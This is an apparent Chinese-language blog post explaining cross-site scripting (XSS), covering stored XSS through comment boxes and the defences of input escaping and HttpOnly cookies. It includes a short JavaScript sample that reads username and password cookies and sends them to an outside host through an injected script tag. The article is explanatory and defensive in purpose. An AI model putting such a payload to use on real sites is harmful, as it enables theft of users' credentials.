XSS攻击是怎么回事?记录一下


title: XSS攻击

date: 2023-08-27 19:15:57

tags: XSS, 网络安全

categories: 网络安全


今天学习了一个网络攻击的手段,XSS攻击技术,大家自建网站的朋友,记得看看是否有此漏洞。

🎈 XSS 攻击

全称跨站脚本攻击 Cross Site Scripting

为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS。

XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。

XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息。

就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本

当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息。

由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了:

复制代码
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码

// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');

在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝 xss攻击 在网络安全中非常的重要

所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行 消毒处理

也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能有效的进行 xss 攻击的预防

另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容


好记性不如烂笔头。

相关推荐
神奇的程序员3 小时前
我的软件冲进苹果商店下载榜前 50 了
前端
阳光是sunny4 小时前
别再被 worktree 绕晕了!AI 编程时代你必须掌握的 Git 隔离神器
前端·人工智能·后端
万少5 小时前
万少的博客 - 技术分享与解决方案
前端·javascript·后端
尘世中一位迷途小书童7 小时前
用 Cesium 撸了一个森林火情监控大屏,弧线、粒子、发光效果都齐了
前端·javascript
IT_陈寒8 小时前
垃圾回收器选错了,我的Java服务内存炸了
前端·人工智能·后端
月光下的丝瓜9 小时前
Flutter 国内安装指南
前端·flutter
玄星啊9 小时前
AI 编程的第 30 天,我怀念古法 Coding 了
前端·ai编程
Jolyne_9 小时前
Angular基础速通
前端·angular.js
锋行天下10 小时前
半秒开!还有谁!!!
前端·vue.js·架构
代码搬运媛11 小时前
git 下中文文件名乱码问题解决
前端